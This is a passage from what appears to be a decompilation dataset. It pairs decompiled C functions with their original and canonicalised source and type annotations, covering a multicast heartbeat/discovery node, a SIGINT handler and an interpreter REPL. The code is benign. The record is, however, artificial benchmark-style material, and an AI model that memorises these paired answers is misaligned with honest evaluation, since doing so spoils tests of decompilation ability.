if ( !v22 )
{
printf("[%d] Heartbeat from node [%d] with process id [%d]\n", v19, v21, v20);
goto LABEL_28;
}
if ( v22 == 16 )
{
printf("[%d] Node [%d] with process id [%d] just started\n", v19, v21, v20);
goto LABEL_28;
}
}
printf(
"[%d] Unkown event [%d] received from node [%d] with process id [%d]\n",
v19,
(unsigned int)v22,
v21,
v20);
}
LABEL_28:
usleep(0x3E8u);
continue;
}
if ( *__errno_location() != 11 )
{
perror("recvfrom");
exit(1);
}
}
}
perror("signal");
return 1;
}

original_code:
int
main(int argc, char *argv[]) {
    if (signal(2, shutdown_handler) == ((__sighandler_t) -1)) {
        perror("signal");
        return 1;
    }
    struct broadcast_message bm, bm_out;
    bm_out.ecosystem_id = get_ecosystem_id();
    bm_out.process_id = getpid();
    printf("The process id of this node is [%d]\n", bm_out.process_id);
    bm_out.node_id = create_node_id(bm_out.process_id);
    bm_out.msg_type = 0x10;
    struct ip_mreq mreq;
    if ((fd = socket(2, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        exit(1);
    }
    int nonBlocking = 1;
    if (fcntl(fd, 4, 04000, nonBlocking ) == -1 )
    {
        perror("Non-Blocking");
    }
    u_int yes = 1;
    if (setsockopt(fd, 1, 2, &yes, sizeof(yes)) < 0) {
        perror("Reusing ADDR failed");
        exit(1);
    }
    if (setsockopt (fd, 1, 15, &yes, sizeof(yes)) < 0) {
        perror("setsockopt (SOL_SOCKET, SO_REUSEPORT)");
    }
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = 2;
    addr.sin_addr.s_addr = inet_addr("225.82.79.83");
    addr.sin_port = htons(11311);
    memset(&addr2, 0, sizeof(addr2));
    addr2.sin_family = 2;
    addr2.sin_addr.s_addr = htonl(((in_addr_t) 0x00000000));
    addr2.sin_port = htons(11311);
    if (bind(fd, (struct sockaddr *) &addr2, sizeof(addr2)) < 0) {
        perror("bind");
        exit(1);
    }
    mreq.imr_multiaddr.s_addr = inet_addr("225.82.79.83");
    mreq.imr_interface.s_addr = htonl(((in_addr_t) 0x00000000));
    if (setsockopt(fd, IPPROTO_IP, 35, &mreq, sizeof(mreq)) < 0)
    {
        perror("setsockopt");
        exit(1);
    }
    struct timespec last_update, now, result;
    int first_time = 1;
    while (1) {
        if (first_time)
        {
            get_time_now(&last_update);
        }
        get_time_now(&now);
        diff_timespec(&last_update, &now, &result);
        if (first_time || result.tv_sec)
        {
            if (sendto(fd, &bm_out, sizeof(bm_out), 0, (struct sockaddr *) &addr, sizeof(addr)) < 0)
            {
                perror("sendto");
                exit(1);
            }
            bm_out.msg_type = 0x00;
            first_time = 0;
            get_time_now(&last_update);
        }
        socklen_t len_addr2 = sizeof(addr2);
        if (recvfrom(fd, &bm, sizeof(bm), 0, (struct sockaddr *) &addr2, &len_addr2) < 0)
        {
            if ((*__errno_location ()) == 11)
            {
                continue;
            }
            perror("recvfrom");
            exit(1);
        }
        if (bm.process_id == 0)
        {
            if (bm.msg_type == 0x20)
            {
                bm_out.msg_type = 0x21;
                if (sendto(fd, &bm_out, sizeof(bm_out), 0, (struct sockaddr *) &addr, sizeof(addr)) < 0)
                {
                    perror("sendto");
                    exit(1);
                }
            }
        }
        else if (bm.process_id != getpid())
        {
            switch (bm.msg_type)
            {
                case 0x10:
                    printf("[%d] Node [%d] with process id [%d] just started\n",
                           bm.ecosystem_id, bm.node_id, bm.process_id);
                    break;
                case 0x11:
                    printf("[%d] Node [%d] with process id [%d] just shutdown\n",
                           bm.ecosystem_id, bm.node_id, bm.process_id);
                    break;
                case 0x00:
                    printf("[%d] Heartbeat from node [%d] with process id [%d]\n",
                           bm.ecosystem_id, bm.node_id, bm.process_id);
                    break;
                case 0x21:
                    printf("[%d] Discovery response from node [%d] with process id [%d]\n",
                           bm.ecosystem_id, bm.node_id, bm.process_id);
                default:
                    printf("[%d] Unkown event [%d] received from node [%d] with process id [%d]\n",
                           bm.ecosystem_id, bm.msg_type, bm.node_id, bm.process_id);
            }
        }
        usleep(1000);
    }
    return 0;
}

canonical_original_code:
int main(int argc, char *argv[]) {
    if (signal(2, shutdown_handler) == ((__sighandler_t) -1)) {
        perror("signal");
        return 1;
    }
    struct broadcast_message bm; struct broadcast_message bm_out;
    bm_out.ecosystem_id = get_ecosystem_id();
    bm_out.process_id = getpid();
    printf("The process id of this node is [%d]\n", bm_out.process_id);
    bm_out.node_id = create_node_id(bm_out.process_id);
    bm_out.msg_type = 0x10;
    struct ip_mreq mreq;
    if ((fd = socket(2, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        exit(1);
    }
    int nonBlocking = 1;
    if (fcntl(fd, 4, 04000, nonBlocking ) == -1 )
    {
        perror("Non-Blocking");
    }
    unsigned int yes = 1;
    if (setsockopt(fd, 1, 2, &yes, sizeof(yes)) < 0) {
        perror("Reusing ADDR failed");
        exit(1);
    }
    if (setsockopt (fd, 1, 15, &yes, sizeof(yes)) < 0) {
        perror("setsockopt (SOL_SOCKET, SO_REUSEPORT)");
    }
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = 2;
    addr.sin_addr.s_addr = inet_addr("225.82.79.83");
    addr.sin_port = htons(11311);
    memset(&addr2, 0, sizeof(addr2));
    addr2.sin_family = 2;
    addr2.sin_addr.s_addr = htonl(((unsigned int) 0x00000000));
    addr2.sin_port = htons(11311);
    if (bind(fd, (struct sockaddr *) &addr2, sizeof(addr2)) < 0) {
        perror("bind");
        exit(1);
    }
    mreq.imr_multiaddr.s_addr = inet_addr("225.82.79.83");
    mreq.imr_interface.s_addr = htonl(((unsigned int) 0x00000000));
    if (setsockopt(fd, IPPROTO_IP, 35, &mreq, sizeof(mreq)) < 0)
    {
        perror("setsockopt");
        exit(1);
    }
    struct timespec last_update; struct timespec now; struct timespec result;
    int first_time = 1;
    while (1) {
        if (first_time)
        {
            get_time_now(&last_update);
        }
        get_time_now(&now);
        diff_timespec(&last_update, &now, &result);
        if (first_time || result.tv_sec)
        {
            if (sendto(fd, &bm_out, sizeof(bm_out), 0, (struct sockaddr *) &addr, sizeof(addr)) < 0)
            {
                perror("sendto");
                exit(1);
            }
            bm_out.msg_type = 0x00;
            first_time = 0;
            get_time_now(&last_update);
        }
        unsigned int len_addr2 = sizeof(addr2);
        if (recvfrom(fd, &bm, sizeof(bm), 0, (struct sockaddr *) &addr2, &len_addr2) < 0)
        {
            if ((*__errno_location ()) == 11)
            {
                continue;
            }
            perror("recvfrom");
            exit(1);
        }
        if (bm.process_id == 0)
        {
            if (bm.msg_type == 0x20)
            {
                bm_out.msg_type = 0x21;
                if (sendto(fd, &bm_out, sizeof(bm_out), 0, (struct sockaddr *) &addr, sizeof(addr)) < 0)
                {
                    perror("sendto");
                    exit(1);
                }
            }
        }
        else if (bm.process_id != getpid())
        {
            switch (bm.msg_type)
            {
                case 0x10:
                    printf("[%d] Node [%d] with process id [%d] just started\n",
                           bm.ecosystem_id, bm.node_id, bm.process_id);
                    break;
                case 0x11:
                    printf("[%d] Node [%d] with process id [%d] just shutdown\n",
                           bm.ecosystem_id, bm.node_id, bm.process_id);
                    break;
                case 0x00:
                    printf("[%d] Heartbeat from node [%d] with process id [%d]\n",
                           bm.ecosystem_id, bm.node_id, bm.process_id);
                    break;
                case 0x21:
                    printf("[%d] Discovery response from node [%d] with process id [%d]\n",
                           bm.ecosystem_id, bm.node_id, bm.process_id);
                default:
                    printf("[%d] Unkown event [%d] received from node [%d] with process id [%d]\n",
                           bm.ecosystem_id, bm.msg_type, bm.node_id, bm.process_id);
            }
        }
        usleep(1000);
    }
    return 0;
}

variable_types: struct ip_mreq { struct in_addr { unsigned int s_addr; } imr_multiaddr; struct in_addr imr_interface; }

variable_types: nonBlocking int

variable_types:
yes
unsigned int

variable_types: struct timespec { long tv_sec; long tv_nsec; }

user_defined_types: struct broadcast_message { unsigned int ecosystem_id; int process_id; unsigned int node_id; char msg_type; }

user_defined_types: struct ip_mreq { struct in_addr imr_multiaddr; struct in_addr imr_interface; }


decompiled_code:
void __noreturn sig_handler()
{
puts("\nSIGINT handled.");
exit(1);
}

canonical_decompiled_code:
void __noreturn func0()
{
puts("\nSIGINT handled.");
exit(1);
}

original_code:
void sig_handler(const int sig)
{
 printf("\nSIGINT handled.\n");
    exit(1);
}

canonical_original_code:
void sig_handler(int sig)
{
 printf("\nSIGINT handled.\n");
    exit(1);
}

variable_types: sig int


repl

decompiled_code:
int repl()
{
__int64 v0; // rax
int result; // eax
__int64 v2; // [rsp+0h] [rbp-118h]
__int64 v3; // [rsp+8h] [rbp-110h]
char s[264]; // [rsp+10h] [rbp-108h] BYREF

v2 = context_new(1LL);
while ( 1 )
{
fflush(stdin);
s[0] = 0;
printf("f> ");
if ( !fgets(s, 256, stdin) )
{
result = feof(stdin);
if ( result )
return result;
if ( ferror(stdin) )
break;
}
v0 = byte_array_from_string(s);
v3 = build_string(v0);
if ( !setjmp(trying) )
run(v2, v3, 0LL, 1LL);
}
return puts("unknown error reading stdin");
}

canonical_decompiled_code:
int func1()
{
__int64 v0; // rax
int result; // eax
__int64 v2; // [rsp+0h] [rbp-118h]
__int64 v3; // [rsp+8h] [rbp-110h]
char s[264]; // [rsp+10h] [rbp-108h] BYREF

v2 = context_new(1LL);
while ( 1 )
{
fflush(stdin);
s[0] = 0;
printf("f> ");
if ( !fgets(s, 256, stdin) )
{
result = feof(stdin);
if ( result )
return result;
if ( ferror(stdin) )
break;
}
v0 = byte_array_from_string(s);
v3 = build_string(v0);
if ( !setjmp(trying) )
run(v2, v3, 0LL, 1LL);
}
return puts("unknown error reading stdin");
}

original_code:
void repl()
{
    char str[256];
    struct context *context = context_new(1);
    for (;;) {
        fflush(stdin);
        str[0] = 0;
        printf("f> ");
        if (!fgets(str, 256, stdin)) {
            if (feof(stdin))
                return;
            if (ferror(stdin)) {
                printf("unknown error reading stdin\n");
                return;
            }
        }
        struct byte_array *input = byte_array_from_string(str);
        struct byte_array *program = build_string(input);
        if (!_setjmp (trying))
            run(context, program, ((void *)0), 1);
    }
}

variable_types:
str
char [256]

variable_types: struct context { struct variable { enum VarType { VAR_NIL=0, VAR_INT=1, VAR_FLT=2, VAR_BOOL=3, VAR_STR=4, VAR_FNC=5, VAR_LST=6, VAR_MAP=7, VAR_SRC=8, VAR_ERR=9, VAR_BYT=10, VAR_C=11 } type; enum Visited { VISITED_NOT=0, VISITED_ONCE=1, VISITED_MORE=2, VISITED_X=3 } visited; unsigned int mark; union { struct byte_array { unsigned char *data; unsigned int length; } *str; struct array { void **data; unsigned int current; unsigned int length; } *list; int integer; float floater; _Bool boolean; struct variable *(*cfnc)(struct context *); }; struct map { _Bool (*comparator)(void *a, void *b); unsigned long size; struct hash_node { void *key; void *data; struct hash_node *next; } **nodes; int (*hash_func)(void *x); void (*deletor)(void *x); void *(*copyor)(void *x); } *map; } *vm_exception; struct variable *error; struct stack { struct stack_node { void *data; struct stack_node *next; } *head; struct stack_node *tail; } *program_stack; struct stack *operand_stack; struct byte_array *program; _Bool runtime; unsigned int num_vars; unsigned char indent; struct variable *(*find)(struct context *context, struct byte_array *name); } *

user_defined_types: struct context { struct variable *vm_exception; struct variable *error; struct stack *program_stack; struct stack *operand_stack; struct byte_array *program; _Bool runtime; unsigned int num_vars; unsigned char indent; struct variable *(*find)(struct context *context, struct byte_array *name); }

user_defined_types: struct variable { enum VarType type; enum Visited visited; unsigned int mark; union { struct byte_array *str; struct array *list; int integer; float floater; _Bool boolean; struct variable *(*cfnc)(struct context *); }; struct map *map; }

user_defined_types: struct stack { struct stack_node *head; struct stack_node *tail; }

user_defined_types: struct map { _Bool (*comparator)(void *a, void *b); unsigned long size; struct hash_node **nodes; int (*hash_func)(void *x); void (*deletor)(void *x); void *(*copyor)(void *x); }


decompiled_code:
__int64 __fastcall interpret_file(__int64 a1, __int64 a2)
{
__int64 v2; // rax

v2 = build_file();
return execute(v2, a2);
}

canonical_decompiled_code:
__int64 __fastcall func2(__int64 a1, __int64 a2)
{
__int64 v2; // rax

v2 = build_file();
return execute(v2, a2);
}

original_code:
void interpret_file(const struct byte_array *filename, find_c_var *find)
{
    struct byte_array *program = build_file(filename);
    execute(program, find);
}

canonical_original_code:
void interpret_file(struct byte_array *filename, struct variable *(*find)(struct context *context, struct byte_array *name))
{
    struct byte_array *program = build_file(filename);
    execute(program, find);
}

variable_types: struct byte_array { unsigned char *data; unsigned int length; } *

variable_types: struct variable { enum VarType { VAR_NIL=0, VAR_INT=1, VAR_FLT=2, VAR_BOOL=3, VAR_STR=4, VAR_FNC=5, VAR_LST=6, VAR_MAP=7, VAR_SRC=8, VAR_ERR=9, VAR_BYT=10, VAR_C=11 } type; enum Visited { VISITED_NOT=0, VISITED_ONCE=1, VISITED_MORE=2, VISITED_X=3 } visited; unsigned int mark; union { struct byte_array *str; struct array { void **data; unsigned int current; unsigned int length; } *list; int integer; float floater; _Bool boolean; struct variable *(*cfnc)(struct context { struct variable *vm_exception; struct variable *error; struct stack { struct stack_node { void *data; struct stack_node *next; } *head; struct stack_node *tail; } *program_stack; struct stack *operand_stack; struct byte_array *program; _Bool runtime; unsigned int num_vars; unsigned char indent; struct variable *(*find)(struct context *context, struct byte_array *name); } *); }; struct map { _Bool (*comparator)(void *a, void *b); unsigned long size; struct hash_node { void *key; void *data; struct hash_node *next; } **nodes; int (*hash_func)(void *x); void (*deletor)(void *x); void *(*copyor)(void *x); } *map; } *(*)(struct context *context, struct byte_array *name)